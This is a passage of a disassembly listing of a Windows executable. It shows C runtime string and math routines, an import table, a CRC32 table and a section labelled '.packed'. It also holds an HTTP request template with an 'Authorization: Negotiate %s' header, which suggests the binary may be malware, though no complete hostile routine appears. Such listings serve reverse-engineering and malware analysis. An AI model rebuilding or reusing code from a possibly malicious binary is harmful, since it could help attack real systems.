sub_42683F proc near ; CODE XREF: sub_426636+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE7C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC014 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi call dword_427014 ; GetStringTypeW test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push edi call dword_427018 ; GetStringTypeA test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC014, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427014 ; GetStringTypeW jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_427188 ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_427188 ; WideCharToMultiByte test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE84 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call dword_427018 ; GetStringTypeA mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: .packed:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: .packed:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: .packed:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dword_427000 dd 77E78EAAh ; DATA XREF: sub_41036B+5ECr ; sub_41716F+C0r ... dword_427004 dd 77E70192h ; DATA XREF: sub_4251BB+F9r dword_427008 dd 77E7176Ch ; DATA XREF: sub_424FB8+8r dword_42700C dd 77E7339Ch ; DATA XREF: sub_424F80+Cr dword_427010 dd 77E7C9E7h ; DATA XREF: sub_424F62+5r ; sub_424F73+6r dword_427014 dd 77E7C866h ; DATA XREF: sub_4244F4+3Fr ; sub_4244F4+12Dr ... dword_427018 dd 77E641EBh ; DATA XREF: sub_4244F4+59r ; sub_4244F4+8Dr ... dword_42701C dd 77E73FF9h ; DATA XREF: sub_4240E7+2Cr dword_427020 dd 77E7FF2Eh ; DATA XREF: sub_423FB9:loc_424009r ; sub_424030:loc_424083r dword_427024 dd 77E78406h ; DATA XREF: sub_423B0B+FFr ; sub_423B0B+166r ... dword_427028 dd 77E79C3Dh ; DATA XREF: sub_423B0B+158r ; sub_423DD1+143r dword_42702C dd 77E7C931h ; DATA XREF: sub_423B0B+19Dr dword_427030 dd 77E77EE1h ; DATA XREF: sub_4239D9+9r dword_427034 dd 77E67702h ; DATA XREF: sub_4239D9:loc_423A08r ; sub_4239D9+E1r dword_427038 dd 77E7C9E1h ; DATA XREF: sub_4239D9+CEr dword_42703C dd 77E9C5B1h ; DATA XREF: sub_4239D9+11Fr dword_427040 dd 77EB9A84h ; DATA XREF: sub_4234F7+138r dword_427044 dd 77E781F9h ; DATA XREF: sub_4232A8+42r ; sub_4232A8+14Dr ... dword_427048 dd 77E77405h ; DATA XREF: sub_4232A8+5Er ; sub_4232A8+A7r ... dword_42704C dd 77F522F2h ; DATA XREF: sub_422EA8+58r dword_427050 dd 77E6D706h ; DATA XREF: sub_42194C+215r ; sub_426587+2Er dword_427054 dd 77E6C703h ; DATA XREF: sub_4208E2+1Ar dword_427058 dd 77E7A13Fh ; DATA XREF: sub_4208E2+2Fr dword_42705C dd 77E7849Fh ; DATA XREF: sub_420749+48r ; sub_420988+14r dword_427060 dd 77E73196h ; DATA XREF: sub_424F9C+Cr dword_427064 dd 77E7980Ah ; DATA XREF: sub_41ED74+76r ; sub_41EE25+51r ... dword_427068 dd 77E79E34h ; DATA XREF: sub_41E742+240r ; sub_41F216+120r ... dword_42706C dd 77E75CB5h ; DATA XREF: sub_40111D+DFr ; sub_401221+7Ar ... dword_427070 dd 77E77963h ; DATA XREF: sub_40111D+B8r ; sub_401221+2DBr ... dword_427074 dd 77E61BB8h ; DATA XREF: sub_40111D+A7r ; sub_401221+2C3r ... dword_427078 dd 77E7A099h ; DATA XREF: sub_40111D+83r ; sub_401221+DAr ... dword_42707C dd 77E704FCh ; DATA XREF: sub_40111D+74r ; sub_401221+C4r ... dword_427080 dd 77E61BE6h ; DATA XREF: sub_40111D+29r ; sub_401221+1F4r ... dword_427084 dd 77E7AC37h ; DATA XREF: sub_401221+3C1r ; sub_401ACD+79Fr ... dword_427088 dd 77E73628h ; DATA XREF: sub_401221+33Br ; sub_401ACD+76D4r ... dword_42708C dd 77E706B7h ; DATA XREF: sub_401221:loc_401495r ; sub_41761C+15r ... dword_427090 dd 77E80656h ; DATA XREF: sub_401221:loc_401488r dword_427094 dd 77F5157Dh ; DATA XREF: sub_401221+1D8r ; sub_401221+3E6r ... dword_427098 dd 77E6BD13h ; DATA XREF: sub_401221:loc_4013DCr dword_42709C dd 77E70396h ; DATA XREF: sub_401221+1B5r ; sub_401221+221r ... dword_4270A0 dd 77E74CABh ; DATA XREF: sub_401221+19Er ; sub_4100B4+110r ... dword_4270A4 dd 77E79F93h ; DATA XREF: sub_401221+D3r ; sub_409909+2r ... dword_4270A8 dd 77E79D5Bh ; DATA XREF: sub_401221+6Br ; sub_401221+311r ... dword_4270AC dd 77E7C2C4h ; DATA XREF: sub_401221+64r dword_4270B0 dd 77E7751Ah ; DATA XREF: sub_401221+2Cr ; sub_401ACD+253Br ... dword_4270B4 dd 77E75CEBh ; DATA XREF: sub_401ACD+791Ar ; sub_40B4F5+2Br ... dword_4270B8 dd 77E6AD34h ; DATA XREF: sub_401ACD+68CFr ; sub_4188A6+35r dword_4270BC dd 77E71AFEh ; DATA XREF: sub_401ACD+6697r dword_4270C0 dd 77E805D8h ; DATA XREF: sub_409909+13Ar ; sub_409909:loc_409E17r ... dword_4270C4 dd 77E7A5FDh ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dword_4270C8 dd 77E65F4Ch ; DATA XREF: .packed:0040ABEDr ; sub_419AE0+34r dword_4270CC dd 77E7513Ch ; DATA XREF: .packed:0040AC84r ; .packed:0040B0C3r dword_4270D0 dd 77E7C657h ; DATA XREF: .packed:0040ACF8r ; .packed:0040AF0Fr ... dword_4270D4 dd 77E73C49h ; DATA XREF: sub_40B425+4Ar ; sub_40BB65+1AFr ... dword_4270D8 dd 77F7E300h ; DATA XREF: sub_40C3E8+142r dword_4270DC dd 77F7E21Fh ; DATA XREF: sub_40C3E8+D7r dword_4270E0 dd 77E7C706h ; DATA XREF: sub_40C600+77r dword_4270E4 dd 77F53275h ; DATA XREF: sub_40C600+6Br ; sub_40C600+22Fr dword_4270E8 dd 77E77CCEh ; DATA XREF: sub_40DB5E+66r ; sub_40DC41+65r ... dword_4270EC dd 77E78B82h ; DATA XREF: .packed:0040E081r ; sub_40EED1+25r ... dword_4270F0 dd 77E79D8Ch ; DATA XREF: .packed:0040E04Fr ; sub_40EE8E+3Br ... dword_4270F4 dd 77E73EACh ; DATA XREF: .packed:0040E035r dword_4270F8 dd 77E7A837h ; DATA XREF: .packed:0040DFB4r ; sub_4100B4+1CBr ... dword_4270FC dd 77E616B4h ; DATA XREF: sub_40EF1C+19Br ; sub_4116D6+115r ... dword_427100 dd 77E79CE3h ; DATA XREF: sub_40EF1C+111r ; sub_411920+77r ... dword_427104 dd 77E79C90h ; DATA XREF: sub_40EF1C+FDr ; sub_40EF1C+10Ar ... dword_427108 dd 77E7727Ah ; DATA XREF: sub_40EF1C+74r ; sub_411827+23r ... dword_42710C dd 77E64106h ; DATA XREF: sub_40FF31+A0r ; sub_41AF8F+1B6r dword_427110 dd 77E64006h ; DATA XREF: sub_40FF31+8Cr ; sub_41AF8F+19Fr dword_427114 dd 77E793EFh ; DATA XREF: sub_4100B4+1F5r ; sub_4109F1+38r ... dword_427118 dd 77E79424h ; DATA XREF: sub_41036B+280r ; sub_41761C+135r dword_42711C dd 77E794BFh ; DATA XREF: sub_41036B+272r ; sub_41761C+123r dword_427120 dd 77E75E67h ; DATA XREF: sub_41036B+212r ; sub_41036B+5DBr ... dword_427124 dd 77E75D9Eh ; DATA XREF: sub_41036B+201r ; sub_41716F+26r dword_427128 dd 77E78C81h ; DATA XREF: sub_4109F1+6Cr ; sub_4161C1+259r ... dword_42712C dd 77E76968h ; DATA XREF: sub_41144E+5Fr dword_427130 dd 77E74C59h ; DATA XREF: sub_4116D6+C7r dword_427134 dd 77EC7C51h ; DATA XREF: sub_411AAB+5Er dword_427138 dd 77E802FCh ; DATA XREF: sub_413694+18Cr ; sub_413694+2D4r ... dword_42713C dd 77E6D75Bh ; DATA XREF: sub_413694+182r ; sub_4143F7+FFr dword_427140 dd 77E70F89h ; DATA XREF: sub_415D38+Dr dword_427144 dd 77E80618h ; DATA XREF: sub_4172C1+170r ; sub_418AF1+D4r dword_427148 dd 77E78147h ; DATA XREF: sub_4172C1+BCr dword_42714C dd 77F51597h ; DATA XREF: sub_417493+41r ; sub_417493+F5r ... dword_427150 dd 77F516F8h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar ... dword_427154 dd 77E77CB7h ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dword_427158 dd 77E7F01Ah ; DATA XREF: sub_41761C+88r ; sub_4177C3+55r dword_42715C dd 77E61A54h ; DATA XREF: sub_41761C+56r ; sub_4177C3+97r dword_427160 dd 77E7C3A5h ; DATA XREF: sub_41761C+34r ; sub_4177C3+2Er dword_427164 dd 77E76A60h ; DATA XREF: sub_418699+2Dr dword_427168 dd 77E71B14h ; DATA XREF: sub_418723+26r dword_42716C dd 77E7166Fh ; DATA XREF: sub_418723+1Dr dword_427170 dd 77E75090h ; DATA XREF: sub_41875E+69r dword_427174 dd 77E74D76h ; DATA XREF: sub_41875E+36r dword_427178 dd 77E77797h ; DATA XREF: sub_41875E+25r dword_42717C dd 77E7011Ah ; DATA XREF: sub_4187E0+96r dword_427180 dd 77E73CE2h ; DATA XREF: sub_4187E0+60r dword_427184 dd 77E668D9h ; DATA XREF: sub_4188A6+15Dr dword_427188 dd 77E79924h ; DATA XREF: sub_4190A5+13r ; sub_4232A8+20Dr ... dword_42718C dd 77E76A2Eh ; DATA XREF: sub_419C09+DEr dword_427190 dd 77E7FF65h ; DATA XREF: sub_41A05C+5Ar dword_427194 dd 77EB7624h ; DATA XREF: sub_41A05C+3Dr dword_427198 dd 77E6C29Dh ; DATA XREF: sub_41A6EA+1EBr dword_42719C dd 77E76C1Ah ; DATA XREF: sub_41AF8F+1CFr dword_4271A0 dd 77F5722Fh ; DATA XREF: sub_41BBE2+110r ; sub_41BBE2+22Dr ... dword_4271A4 dd 77F6183Eh ; DATA XREF: sub_426356r dword_4271A8 dd 77E6177Ah ; DATA XREF: .packed:0041E272r ; sub_423B0B+59r dword_4271AC dd 77E7C938h ; DATA XREF: .packed:0041E247r dword_4271B0 dd 77E7C486h ; DATA XREF: .packed:0041E1F9r dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41E52A+54r dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41E672+50r dword_4271BC dd 77E7C726h ; DATA XREF: sub_41E672+11r dd 0 dword_4271C4 dd 71AB5A01h ; DATA XREF: sub_4157BA+20r dword_4271C8 dd 71AB4122h ; DATA XREF: sub_4156D1+D4r dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dword_4271D0 dd 71AB401Ch ; DATA XREF: sub_4131EC+21Br ; sub_4131EC+243r dword_4271D4 dd 71AB1836h ; DATA XREF: sub_40F9BF+6Er ; sub_40FA3C+8Er dword_4271D8 dd 71AB41DAh ; DATA XREF: sub_40F3AA+4Ar ; sub_40F9BF+15r dword_4271DC dd 71AB3F8Dh ; DATA XREF: sub_40F3AA+5Ar dword_4271E0 dd 71AB155Ah ; DATA XREF: sub_40F3AA+8Dr ; sub_414251+70r ... dword_4271E4 dd 71AB3ECEh ; DATA XREF: sub_40F3AA+B5r dword_4271E8 dd 71AB5DE2h ; DATA XREF: sub_40F3AA+C9r dword_4271EC dd 71AB868Dh ; DATA XREF: sub_40F3AA+171r dword_4271F0 dd 71AB12F8h ; DATA XREF: sub_40E9FB+27r ; sub_40F9BF+35r ... dword_4271F4 dd 71AB1746h ; DATA XREF: sub_40E9FB+36r ; sub_40F9BF+41r ... dword_4271F8 dd 71AB3E5Dh ; DATA XREF: sub_40E9FB+59r ; sub_40EAE9+45r ... dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar ; sub_40F3AA+1E1r dword_427200 dd 71AB1A6Dh ; DATA XREF: sub_40E9FB+E0r ; sub_40EAE9:loc_40EB55r ... dword_427204 dd 71AB3C22h ; DATA XREF: .packed:0040D64Cr ; sub_40E9FB+45r ... dword_427208 dd 71AB1AF4h ; DATA XREF: sub_40D2A2+12r ; sub_40E9FB+C3r ... dword_42720C dd 71AB1890h ; DATA XREF: sub_40D104+4Cr ; sub_40F3AA+106r dword_427210 dd 71AB1B7Bh ; DATA XREF: sub_426350r dword_427214 dd 71AB157Eh ; DATA XREF: sub_401ACD+2F5Fr align 10h dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: sub_4167A0+2BDr ; sub_4167A0+2D8r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dword_427700 dd 0FFFFFFFFh, 41E2AAh, 41E2BEh ; DATA XREF: .packed:0041E1D8o a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .packed:off_43D094o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .packed:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .packed:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset 